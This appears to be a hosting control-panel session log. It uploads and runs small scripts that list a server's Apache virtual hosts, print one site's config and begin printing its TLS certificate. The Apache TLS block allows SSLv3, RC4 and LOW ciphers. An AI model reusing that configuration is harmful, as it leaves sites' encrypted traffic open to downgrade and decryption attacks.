MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:28:40: Establishing a connection
2026-01-03 19:28:40: 

PUT: /tmp/pkp873335

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:28:40: 

chmod 755 /tmp/pkp873335; /tmp/pkp873335; rm /tmp/pkp873335

2026-01-03 19:28:40: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-03 19:28:40: 

PUT: /tmp/pkp236584

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:28:40: 

chmod 755 /tmp/pkp236584; /tmp/pkp236584; rm /tmp/pkp236584

2026-01-03 19:28:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf	1656

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-01-03 19:28:41: 

PUT: /tmp/pkp124216

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:28:41: 

chmod 755 /tmp/pkp124216; /tmp/pkp124216; rm /tmp/pkp124216

2026-01-03 19:28:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt	5382
dc:ac:d7:8c:ac:9c:f3:bb:7a:75:27:9d:db:f3:c3:40

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBlGWBYIS1KxHuvMjPwsSNyo+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTAzMTU1MjA4WhcNMjYwNDAzMTU1MjA3WjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCqPBo3D8f5PmysdoqanVttK3Yfzl53GZhvtt6ix4prJOyHJCqO
BK+kXKYvIsV134e0uhNItRlJxMNPXXpQ+lCxTqVaMcXGIe9L5hSlgN12WgLBiA5E
h6icSkdAj+ATlwdFp2H7yb0qlPOzvnt5oE16p4FACeWjr+PDWh+A0nRPp0ZaZcsR
IZx+ei2k5INbBo+hnbqwnzDFUBuJ4ilxUJrKmA8HrFYd1uTh+biUHP1GDEtqNFeE
poow5YowvfIZ2DwPg0d/rNOJNAXhbX5fmGV6P/gr/XlmUpw0mUiJE9a6WS8D+rpS
qZvzruoJybznALyXZdMdJALhCmggOS4rL+9ZAgMBAAGjggIvMIICKzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFAldEIysE9r2CTAjcEMsEXYtrK3XMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
